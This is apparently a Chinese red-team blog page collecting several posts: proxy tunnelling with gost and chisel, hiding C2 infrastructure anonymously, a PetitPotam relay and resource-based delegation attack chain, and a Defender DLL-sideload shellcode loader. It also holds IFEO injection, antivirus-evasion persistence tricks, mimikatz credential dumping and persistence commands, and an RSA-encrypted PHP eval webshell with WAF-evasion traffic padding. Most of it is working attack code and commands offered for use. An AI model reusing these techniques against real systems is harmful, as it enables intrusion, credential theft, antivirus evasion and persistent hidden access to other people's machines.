scareing的学习笔记

道可道,非常道, 名可名,非常名!


  • 首页

  • 分类

  • 归档

  • 标签

  • 关于

Socks代理进阶篇

发表于 2022-03-17 | 分类于 内网

Socks代理进阶篇

Gost

特点:支持多级转发,支持多种代理协议和隧道类型,

链接:https://github.com/ginuerzh/gost

  • 普通socks5

服务端

​ ./gost-linux-amd64-2.11.1 -L quic://:3333

客户端

​ ./gost -L :9997

​ ./gost -L rtcp://0.0.0.0:9997/localhost:9997 -F “quic://8.8.8.8:3333?mbind=true”

  • socks+tls over quic by tcp

服务端

​ ./gost-linux-amd64-2.11.1 -L quic://:3333

​ ./gost-linux-amd64-2.11.1 -L=socks://0.0.0.0:9997 -F socks5+tls://:9998

客户端

​ ./gost -L socks5+tls://:9998

​ ./gost -L rtcp://0.0.0.0:9998/localhost:9998 -F “quic://8.8.8.8:3333?mbind=true”

​ curl –socks5 106.75.67.182:9997 ip.sb

  • socks+quic over quic by udp

服务端

​ ./gost-linux-amd64-2.11.1 -L quic://:3333

​ ./gost-linux-amd64-2.11.1 -L=socks://0.0.0.0:9997 -F socks5+quic://:9998

客户端

​ ./gost -L socks5+quic://:9998

​ ./gost -L rudp://0.0.0.0:9998/localhost:9998 -F “quic://8.8.8.8:3333?mbind=true?ping=60”

​ socks5://admin:password@:9998

  • http2代理模式

服务端

​ gost -L socks5+h2://:8443

客户端

​ gost -L socks5://127.0.0.1:10002

​ gost -L rtcp://0.0.0.0:10002/localhost:10002 -F “socks5+h2://8.8.8.8:8443?mbind=true”

chisel

特点:基于ssh协议的加密链接,支持tcp\udp传输,使用websocket传输可走CDN和云函数

链接:https://github.com/jpillora/chisel

  • cdn+http

服务端

​ ./chisel server –reverse

客户端

​ chisel.exe client cdndomain:8080 R:0.0.0.0:1080:socks

  • cdn+https

服务端

​ chisel server -p 8443 –reverse –tls-domain domain.com

客户端

​ chisel.exe client https://cdndomain:8443 R:0.0.0.0:1080:socks

avatar

互联网隐私保护指南

发表于 2022-03-13 | 分类于 匿名

互联网隐私保护指南

“保护隐私就是保护自己”

例如:

  • 匿名邮箱

​ 临时邮箱:https://www.linshiyouxiang.net/

​ protonmail:https://mail.protonmail.com/domains

国外绝大部分网站都只需要邮箱就能注册成功,可用于任何账号的邮箱绑定,可注册百分之90以上的国外网站。

  • 匿名手机号

​ Google voice:https://voice.google.com/

可注册绝大多数账号,风控较严格的网站无法注册。

  • 匿名网络(代理)

​ 机场(注册均不需要实名)

​ 已实名流量卡

  • 匿名信用卡

​ yoomoney:https://yoomoney.ru/

可用于过风控一般的信用卡验证,仅能白嫖少部分服务。

  • 匿名文件传输

​ 国外:https://anonfiles.com/

​ 国内:https://airportal.cn/

  • 匿名域名

​ freenom: https://www.freenom.com

  • 匿名cdn

​ cloudflare:https://www.cloudflare.com

用于防止网站真实IP暴露,保护基础设施如C2。

  • 匿名SSL证书

​ letsencrypt:https://letsencrypt.org/

免费的有效https证书,用于https流量加密。

  • 匿名云函数

​ heroku:https://dashboard.heroku.com/

功能近乎cdn。

  • 匿名VPS

​ vultr: https://my.vultr.com/

  • 接码平台

​ 国外:https://receive-sms-free.cc/

​ 国内:https://www.yinsiduanxin.com/

可用于注册账号,但是免费的接码平台,效果不会特别好。

除了VPS和代理,其他的均可长期白嫖,且白嫖很难做到面面俱到。所以有条件的还是得花钱

1,淘宝,tg,找人代买,代付。

​ 比如:btc代付,信用卡代付,成品注册账号购买,已实名流量卡购买。

​ 花钱的也不一定稳定,比如 买aws账号,微信小号,因为风控问题,管不了几天就会被封号。

2,四件套

​ 从根源上解决问题,把匿名链路闭环。

​ 因为目前实名制主要依靠,手机号,银行卡,身份证,四件套解决了最根本的实名问题。

avatar

PetitPotam配合资源委派的横向技巧

发表于 2022-01-13 | 分类于 Windows

PetitPotam配合基于资源委派的横向技巧

原理:使用PetitPotam将目标主机的身份认证中继到dc的ldap服务配置资源委派,然后使用资源委派获取目标主机权限。

当微软修复CVE-2019-1040的时候,顺便修了smb中继到ldap。

但是我们还能通过http中继到ldap,但前提条件是目标打开Webclient服务,server默认不安装,win7,win10默认安装但是需要手动打开服务。

avatar

条件:

  • 域账户一个
  • 目标主机需要打开Webclient服务

细节:

  • http中继到ldap
  • http中继需要使用可信域名,域内dns即为可信域名

start

假设已经有了一个域普通用户账户,目标win7,开启webclient服务

1.用已知域普通用户,添加机器用户rbcd

1
addcomputer.py sec.local/nortest:p@ssw0rd -method SAMR -computer-name rbcd -computer-pass Password123 -dc-host Ads.sec.local -dc-ip 192.168.60.128 -debug

2.用已知域普通用户,添加DNS解析

1
2
3
Invoke-DNSUpdate -DNSName ubuntu -DNSData 192.168.60.130

这里是因为没找到远程添加dns的工具,直接上域机器加了DNS记录。

avatar

3.使用PetitPotam中继http请求

1
2
3
python3 PetitPotam.py -d sec.local -u nortest -p p@ssw0rd ubuntu@80/ubuntu.sec.local 192.168.60.133

sudo ntlmrelayx.py -t ldap://192.168.60.128 --delegate-access --escalate-user rbcd$ --no-dump -smb2support

avatar

4.使用资源委派拿目标主机的票据

1
getST.py sec.local/rbcd$:Password123 -dc-ip 192.168.60.128 -spn cifs/WIN7.sec.local -impersonate administrator

avatar

5.导入票据并使用wmiexec执行命令,获取权限

1
2
3
export KRB5CCNAME=administrator.ccache

wmiexec.py -dc-ip 192.168.60.128 -k -no-pass WIN7.sec.local whoami

avatar

[^本来以为是域内非server机器乱杀,结果有前提条件,略显鸡肋。]:

C2的HTTPS证书配置

发表于 2021-06-26 | 分类于 redteam

C2的HTTPS证书配置

为什么要配置HTTPS证书?

  1. 去流量特征,默认C2会使用自己的证书。
  2. 可信,配置了有效证书网站在浏览器的右上角会显示一把小锁,访问不会有危险提示。

配置C2证书的方式很多,这里是一种我经常用的,优点如下

  1. 可全匿名,匿名域名,匿名dns,匿名VPS
  2. 不需要域名备案

绕过国内lets-encrypt申请免费证书需要绑定手机号,验证域名需要备案的两个问题。

配置条件

  1. VPS一台
  2. Freenom域名
  3. cloud flare的dns配置

命令(仅限lets-encrypt)

1
2
3
4
5
6
7
8
9
10
11
12
13
#安装配置工具
sudo snap install core; sudo snap refresh core
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot

#申请证书
##如果未开启web服务
sudo certbot certonly --standalone
##如果已开启web服务
sudo certbot certonly --webroot

#测试自动续期
sudo certbot renew --dry-run

CS通过profile生成带签名的exe

1
2
3
4
5
6
7
8
9
10
11
12
#证书转store
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypass

keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

#profile需要添加的配置
//增加自动生成的代码签名
code-signer{
set keystore "xxx.store";
set password "mypass";
set alias "xxx.xxx";
}

avatar

Windows Defender dll sideload

发表于 2021-03-08 | 分类于 Windows

Windows Defender dll sideload

不说废话,直接开始,老版本defender存在一个dll sideload问题,我们可以通过替换正常的mpsvc.dll,从而实现白利用,

虽然私底下和一些朋友有过相关的交流,但是由于部分朋友在利用过程中存在一些问题,所以记录其中的步骤。

  • 主程序:MsMpEng.exe
  • 加载dll:mpsvc.dll
  • 导出函数:ServiceCrtMain

你没有看错就是defender主程序。

avatar

dll sideload

攻击者可以通过劫持用于加载DLL的库清单来执行自己的恶意负载。攻击者可以通过将合法的库替换为恶意的库,来利用程序的库清单中模糊的引用,从而导致操作系统在受害程序调用时加载其恶意库。

dll编写

  1. MsMpEng.exe不会加载dllmain函数,它会直接调用导出函数ServiceCrtMain
1
2
3
4
5
6
7
8
STDAPI ServiceCrtMain(void) {
unsigned char shellcode[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
HANDLE Mythread = CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(exec), NULL, 0, NULL);
WaitForSingleObject(Mythread, INFINITE);
return (HRESULT)S_OK;
}
  1. CFF explorer要能看到编译后dll的导出函数表,且表中有ServiceCrtMain函数。

avatar

  1. 导出函数表需要定义在def文件中,并导入到源文件,这里位dllmain.del

avatar

avatar

  1. 通过链接器设定模块定义文件。

avatar

  1. 编译dll,并运行MsMpEng.exe进行复现,上线进程MsMpEng。

avatar

avatar

Powerful inject

发表于 2021-01-07 | 分类于 Windows

Powerful inject

镜像劫持,指定进程加载指定dll

重装程序劫持依旧生效。

1
2
reg add "hklm\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsTray.exe"  /v VerifierDlls /t REG_SZ /d test.dll
reg add "hklm\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsTray.exe" /v GlobalFlag /t REG_DWORD /d 256

your browser does not support the video tag

关于CIS"杀软对抗"的议题拓展

发表于 2021-01-04 | 分类于 C

关于”杀软对抗”的议题拓展

本文章作为CIS网络安全创新大会议题 Redteaming:主流杀软对抗之路 的扩展与延伸,从为什么出发,到杀软规则的测试与讨论.

CIS议题重点

  • shellcode加密

针对杀软于shellcode的静态二进制特征查杀,用加密解决shellcode的静态特征。

  • IAT导入地址表

针对杀软对PE文件的IAT导入表的敏感函数检测,使用动态调用的技巧,完成隐藏导入函数的效果。

  • 混淆编译

针对杀软对特征字符串和函数执行流程的检测,使用编译时混淆字符串和函数调用混淆的办法,隐藏特征字符串,和使用有限状态机的函数执行。

  • API执行链

针对基于启发式扫描的API执行链检测,使用巨大的内存分配与填充,干扰API执行链,具有行为免杀的效果。

  • 强延时

针对杀软和沙箱的时间加速,使用模拟计算来实现一个强延时,具有无视时间加速和一定的反沙箱效果。

  • 系统调用

针对杀软及EDR的用户态HOOK,使用本地加载并映射ntdll.dll技巧来实现动态系统调用,解决系统调用的兼容性问题,完成对挂钩函数的脱钩。

为什么讲这几点?

在我看来,bypass杀软和bypass waf是一样的,需要见招拆招,各种技巧思路都应具有针对性,比如我在CIS中的讲的各点,其实只是一些常规操作,但是它都针对了杀软检测规则的一部分,从而具有目的性的完成想要的效果:bypass。

avatar

了解杀软检测规则

举个例子(利用规则)

  • 360安全卫士对于自启动的拦截十分严格,但是问题在于,自启动是正常的系统行为,为什么QQ加自启动不会被拦截?

    avatar

    • 答案大家应该也知道,因为QQ带有高信誉的签名。(那么我们能不能利用这一点呢?)

      avatar

    • 答案当然是可以的,我们如果能找到一个QQ的DLL劫持,QQ会加载被劫持的恶意DLL,然后恶意的DLL将会为我们添加自启动,于是就利用带有腾讯签名的进程(QQ.exe),为我们添加自启动.

    • 在今年更新360 13前,这个玩法都是有效的,那么为什么现在失效了。

      avatar

这里使用的是360浏览器的一个dll劫持,带有360的签名,但是在最新版360的检测下,由于加载的DLL无签名,又因为这个DLL产生了高危的行为(添加自启动),于是此DLL被定义为恶意文件。

avatar

通过利用规则,我在这里利用了360对签名进程的高信誉证书的信任,完成了启动项的添加。

再举个例子(绕过规则)

  • 使用360所不知道,不在拦截名单中的自启动,也能达成添加自启动的目的。
1
2
> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evil.exe" /f
>

这个自启动注册表,于去年年底公开,然后存活了一个月。

1
2
3
> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Command /d c:\\windows\\system32\\notepad.exe
> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Nightly /t REG_DWORD /d 1
>

遥测,这是个Windows的自启动计划任务,于今年上半年爆出,一个月后失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> using System;
> using System.Collections.Generic;
> using System.Linq;
> using System.Text;
> using System.Management.Automation;
> using System.Collections.ObjectModel;
>
> public class Program
> {
> public static void Main()
> {
> PowerShell ps1 = PowerShell.Create();
> ps1.AddScript("new-service –Name OrderService –DisplayName OrderService –BinaryPathName c:/evil.exe –StartupType Automatic;Start-Service OrderService");
> ps1.Invoke();
> PowerShell ps2 = PowerShell.Create();
> ps2.AddCommand("Get-Process");
> Collection<PSObject> PSOutput = ps2.Invoke();
> foreach (PSObject outputItem in PSOutput)
> {
> if (outputItem != null)
> {
> Console.WriteLine(outputItem);
> }
> }
>
>
> }
> }
>

这个是我自己发现的,在去年讨论使用.net实现powershell被禁用的环境下执行powershell的技巧时,我就尝试过用这种技巧去添加自启动,于今年年初失效。

结论

由我的观察可得出

360安全卫士的拦截规则其实非常死板,完全基于签名与黑名单,添加黑名单中的启动项时,需要检查进程签名,启动项所对应的启动程序也需要检查签名,现在被加载的dll也要检查签名。

进程可信 + 启动项对应对象可信 + dll可信(如果是dll的启动项添加行为) = 添加通过。

  • 利用规则

    • 即利用对高信誉签名的信任,可以完成任意启动项的添加。

      优点:灵活,可以直接完成绝大部分行为的bypass

      缺点:难找,难利用。

  • 绕过规则

    • 绕过规则中的黑名单添加项or添加方式。

      优点:比较容易寻找并利用,通过研究注册表功能及一些隐藏项,即可找到黑名单外的启动项。

      缺点:启动方式单一,技巧容易被捕获。

很不幸,今天讲的技巧都已经无效,但是我希望的是,读者能从这些bypass案例中,寻找到bypass的思路,

我前端时间发过一个视频,可以任意添加注册表和服务,就是通过系统机制完成的对微软签名的滥用,即使360更新到了13,同样也一样能bypass,

https://www.bilibili.com/video/BV14t4y1i7aX/

HW工具

发表于 2020-07-01 | 分类于 Windows

工具

Mimikatz

开源密码抓取工具

抓密码,hash传递

https://github.com/gentilkiwi/mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#手动
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /domain:pentestlab.local /all /csv 全域
#一句话
mimikatz.exe pass
#通过注册表开启Windows明文密码记录(2012及以上默认抓不到明文密码)
mimikatz.exe reg
#内存注入实现明文记录到文本,需再次登录,重启无效(有蓝屏风险)
privilege::debug
misc::memssp
type C:\Windows\system32\mimilsa.log
#dll+注册表,永久性密码记录到文本,
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
type C:\Windows\system32\kiwissp.log

#获取winodws保存的本地rdp凭证
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
privilege::debug
dpapi::cred /in:C:\Users\kering\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
sekurlsa::dpapi
dpapi::cred /in:C:\Users\kering\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:6ccd15632f9354e9fa30a2656bbf193985aa4568876fc9e4b35d72159b79f3d312c4a5b5327272b0328d833aadba7f4d156a976286588ab4bf58f85dbb73e4fe

#传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi
#凭据
kerberos::purge //清空当前机器所有凭证
Kerberos::list //查看当前机器凭证
kerberos::ptc TGT_admin@cgn.com.ccache //将票据注入到进程中

avatar

mimikatz ptt + net use + schtasks 横向

1
2
3
4
5
6
7
8
9
10
11
12
传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递
挂载
net use \\192.168.14.131\C$
测试文件传输
copy 1.txt \\192.168.14.131\C$
创建计划任务or服务修改or服务创建
schtasks /S \\192.168.14.131\ /create /RU SYSTEM /RL HIGHEST /F /tn "SysDebug" /tr "C:\windows\SysDebug.exe" /sc DAILY /mo 1 /ST 11:05
sc \\test-win7t config a2 binpath= "c:\cqooc.exe" start= auto
sc \\test-win7t create a2 binpath= "c:\calc.exe" start= auto
密码转hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local

avatar

avatar

avatar

avatar

Hash rdp

如果目标使用“受限管理模式”,即可通过hash远程桌面(默认关闭)。

可以通过注册表开启。

1
2
3
4
5
6
7
8
9
10
11
12
13
利用hash注入凭据到mstsc程序。默认情况会登录失败
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
以目标凭据启动powershell
mimikatz.exe "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"
获取目标powershell(需要开启winrm服务(服务器默认开启),且凭据用户拥有目标管理员权限)target值应为目标主机名
Enter-PSSession -Computer <Target>
winrm quickconfig -q
sc start winrm
这里也可能视为手动winrm横向,流量无法通过代理,cs的横向payload见杀软就没了,这样反而更加有效
修改注册表开启受限管理员模式
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

avatar

ServerScan

开源单文件端口扫描器(跨平台)

命令行扫描,取title,支持tcp,icmp协议,默认线程1500(轻量版无法改线程),专业版手动调整到 1-3000(专业版命令行参数更多,轻量版就够了)

有CS插件,可与CS联动,自动将扫描结果添加到CS的目标中。

https://github.com/Adminisme/ServerScan

1
2
3
4
轻量版
ServerScan_air.exe 192.168.1.0/24 1-1024,8080,8443 tcp
专业版
ServerScan_pro.exe -h 192.168.1.0/24 -p 1-1024,8080,8443 -t 3000 -o result.txt

Seatbelt

https://github.com/GhostPack/Seatbelt

主机信息收集工具

当前正在执行的命令,最近修改访问过的文件,进程,netstat,杀软,环境变量,服务,网络设置,dns缓存,系统信息, 浏览器历史记录,安装的程序,保存的rdp凭证…..好多东西。

1
Seatbelt.exe -group=all

PsExec64

横向,明文(不能用hash)

1
PsExec64.exe \\192.168.1.14 -u test -p test -s cmd

Rubeus

票据操控工具,只能域环境使用

https://github.com/GhostPack/Rubeus

1
2
3
4
5
6
7
8
9
10
11
12
请求票据
Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe
提取票据
Rubeus.exe tgtdeleg
使用票据修改密码
Rubeus.exe changepw /ticket:test.kirbi /new:password@123
密码转hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local
每隔一秒监听一次来自DNS的登陆(需要本地管理员权限)
Rubeus.exe monitor /interval:1 /filteruser:DNS$
哈希传递
Rubeus.exe ptt /ticket:base64

img

AdExplorer

域成员查询

可以即时查询AD数据库,查看域成员的各种信息。

AD Explorer屏幕截图

Bloodhound

域信息收集

通过neo4j数据库可展示域内关系,权限分配,攻击路径

https://github.com/BloodHoundAD/BloodHound

1
Bloodhound.exe -c all --nosavecache --zipfilename domain.zip

avatar

ANGRYPUPPY

自动化工具,CS插件

先得用Bloodhound收集域内信息,然后计算出到目标的路径,导出json文件,导入到ANGRYPUPPY,然后就会自动使用hash传递,一个一个的打过去

https://github.com/vysecurity/ANGRYPUPPY

avatar

MoveKit

NPS

反向代理工具

流量加密,代理不用可以挂起,支持多协议,支持多个代理客户端

https://github.com/ehang-io/nps

avatar

avatar

CHISEL

支持CDN的开源反向代理

使用HTTP协议传输,并通过SSH协议加密。

https://github.com/jpillora/chisel

img

技巧

DNS上线

可以规避流量检测,netstat看不到

域名配置

avatar

监听配置(必须指定53端口)

avatar

验证联通性,最后必须返回解析地址,默认为0.0.0.0

avatar

上线标志,刚开始为沉睡状态,需要执行checkin命令强制唤醒

avatar

avatar

dns网速极慢,正常执行命令还行,如果流量一大,几分钟就过去了。例:密码抓取花费2min。

CS配置文件(流量特征修改)

CS域名前置也是通过CS配置文件实现的,通过配置文件我们可以修改,https证书(自生成),请求报文,返回报文,默认sleep时间,payload,CS进程管道名,等等,很多。

C2concealer:用于生成随机的CS配置文件

https://github.com/FortyNorthSecurity/C2concealer

配置选项

avatar

avatar

流量效果,host为我自定义的GitHub,ip为我转16进制后的结果660712688

avatar

avatar

avatar

Waf_Bypass

发表于 2020-03-26 | 分类于 waf

Waf_Bypass

  • 默认webshell免杀
  • WAF:阿里云,云锁,安全狗,D盾

0x01 流量免杀

这里主要针对开源的蚁剑,好用且能自定义。

公开的菜刀工具,流量肯定是被监测的死死的,事实上蚁剑默认的流量都已经是混淆过的了,加上蚁剑自带的各类编码器,流量看起来已经非常复杂了。但是waf是可以解密流量的,公开的加密编码方式其实没那么好用.

在对流量分析中,菜刀默认情况下是有自带特征的,尽管不同菜刀也会对自己的流量进行各种层度的混淆,不过公开的工具嘛,流量肯定被安全厂商检测的死死的,只要是公开的就逃不掉的。

菜刀的流量特征主要是HTTP请求头特征,payload特征。

HTTP请求头

HTTP请求头特征虽然明显,但是waf不检测这个地方,不过为了以防万一,我们肯定要做点什么的。

注释掉默认USER_AGENT,实现随机UA头。

AntSword\antSword-master\modules\request.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 请求UA
// const USER_AGENT = 'AntSword';
let USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3831.6 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15",
"Mozilla/5.0 (Linux; U; Android 7.0; en-US; SM-G935F Build/NRD90M) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.3.8.976 U3/0.8.0 Mobile Safari/534.30",
"Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Tablet/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
]

const USER_AGENT = USER_AGENTS[Math.floor(Math.random()*USER_AGENTS.length+1)];

效果图

![image-20200314151437294](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200314151437294.png)

Payload流量特征

payload流量为监测重点,我想了想,在公开的加密方式可以解密的情况下,恐怕得自写加密了,然后就看到了yzddmr6大佬的数据填充法,然后抄作业。

利用大量垃圾数据的填充使得waf监测不过来,垃圾数据由自写函数生成。

实测waf情况分为:数据过多直接放弃检测,数据过多只检测一部分。

在没有对payload处理的情况下也能过Waf,且不影响对payload的各种处理,不过我觉得还对payload本身进行处理,不然别人分析了流量还是会很快暴露,以达到万无一失的结果。

AntSword\antSword-master\modules\request.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
行数 49
let varname_min = 5; //变量名最小长度
let varname_max = 15; // 变量名最大长度
let data_min = 200; // 变量值最小长度
let data_max = 250; // 变量值最大长度
let num_min = 150; // 变量最小个数
let num_max = 250; // 变量最大个数

function randomString(length) { // 生成随机字符串
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}

function randomInt(min, max) { //生成指定范围内的随机数
return parseInt(Math.random() * (max - min + 1) + min, 10);
}

function randomDict(dic) {
let tmparray=[]
for(let i in dic){
tmparray.push(i)
}
tmparray=tmparray.sort((a, b)=> { return Math.random() > 0.5 ? -1 : 1; })
let finaldata={}
tmparray.forEach(i => {
finaldata[i]=dic[i]
});
return finaldata
}


行数 251 & 398
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if (opts['useMultipart'] == 1) {
_request.send = _request.field;
_postarr = _postData;
} else {
if(opts['addMassData']==1){
for(let i = 0; i < randomInt(num_min,num_max); i++) { //将混淆流量放入payload数组中
_postData[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max))
}
_postData=randomDict(_postData);
//logger.debug(_postData);
}

先对自有编码器进行测试,对random,base64,chr,chr16,rot13进行流量分析。均有明显的密文特征,且能被解密。

经过Waf测试,chr16加密是效果最好的加密方式了,可以达到过waf的要求,猜测waf不能解密chr16,但是chr16依旧是公开加密,密文特征也很明显,用不了多久可能也会进入waf全家桶,所以这并不是终点。

然后我发现了蚁剑的RSA编码器,通过非对称加密的方式实现密文的不可逆,不过需要对webshell进行一定的处理,然后发现处理后的免杀一句话有点长。

这样的马还有一个优点,只有自己能连,除非你把私钥分享给了别人,或者说流量重放。

流量重放的话问题不大,主要是可以通过重放来分析进行了什么操作,解决流量重放可以用蚁剑作者的时间戳.

此时流量在限定时间内有效,过时即无响应包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
var $ring = "demo";
function __destruct(){
$cmd=($this->ring);
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDf5VtIkyIbO78PExipZY3P2CS
bYIGXU9T/V8Rva6OTfeYACHsBYLNSq7OXA0006wXxHKrOM48nH59kr9ZBcQ4z8O/
TJUit2W81koiQ8TVvael5RCszm3Usx1vE21Rsqr1aL7QaRKsv00Z/MBacKptAs27
gTD0FC4mgvbpCmIwyQIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

}
}
$ring = $_POST['ring'];
$len = strlen($ring)+1;
$pp = "O:1:\"A\":1:{s:4:\"ring\";s:".$len.":\"".$ring.";\";}"; // 构造序列化对象
$ring_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
1
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;//解决流量重放

经过流量分析,此时流量在没有私钥的情况下已经无法解密,此时waf已经无法解密,更不用说识别流量了。

payload去url编码的结果。

1
D+45iuPA7sMEczA3ZXzpCLicTNR/goVvH75VNW/2XRBsJm8N3CiCYw21oi1o8r5Rj1g0lqioILuLd7bh8Bu2Yl5CJNCJ+6+fZs02 NtrP8bqs8gqFBdTDEP2WjBJEealna0oy62i0SwqB7MprZO0tEU8qNPuQ2MMa4Rh/3sY2xiY=|oPn0QtnZaSfmRey7SVZzcdFR7aw ukf/fnU05D9zTYRD0ggxJnhXheFx5OCu3SoYPyw5noE2kx/yY5YhciIv2VTN0d6mkx0L2jdv1w3Wf5TgCMNc5PAF0kdXa1cmJB3C e4BXsYJkbGb85ryu37noWz4v/cTKDSgS6IxuBiAEU2ks=|Lx0LCYoSVP/4CTig0AWNly9muBr+HBmwK5wMKHC+a4NIxhFMRXJCNf RJGCRLtggOZvOkGXAUUU7G0UKg7AdG1SjuA4mL41/Gs/cWqLa+WJp8hlP1CIMQHliR5fG9MMq4ChnrtC0Hf70ndv4j/JCBAIN+yU aaTDvEHNeImYDp66E=|r8g/9GwWB9qta87Stsd+5jkfg0vRiDN+/NH1bQkROH2EhGGVJn+ZwB+0INcbvM+NEIcj4LSa13Ge0gb3s 8tPXfJpEmtrqMigTk5jjEg2Vs9GUdKHHNgRT/v1ykrIQNGAgF0O9dzeyOYd8h80dtJ1cB7DlZnBwJ/tcNtOr3hS1fs=|JLXWPuCC hMGjZD5rqEtwwjKRpFxrXErXU2rW+1DsAy4P1LBPcJ+Gbi1H3qxcgbtGxQMlWU59JyDsUrOAQ3hMl7pUoeBfP/XuvEbaJnr4ZrIa 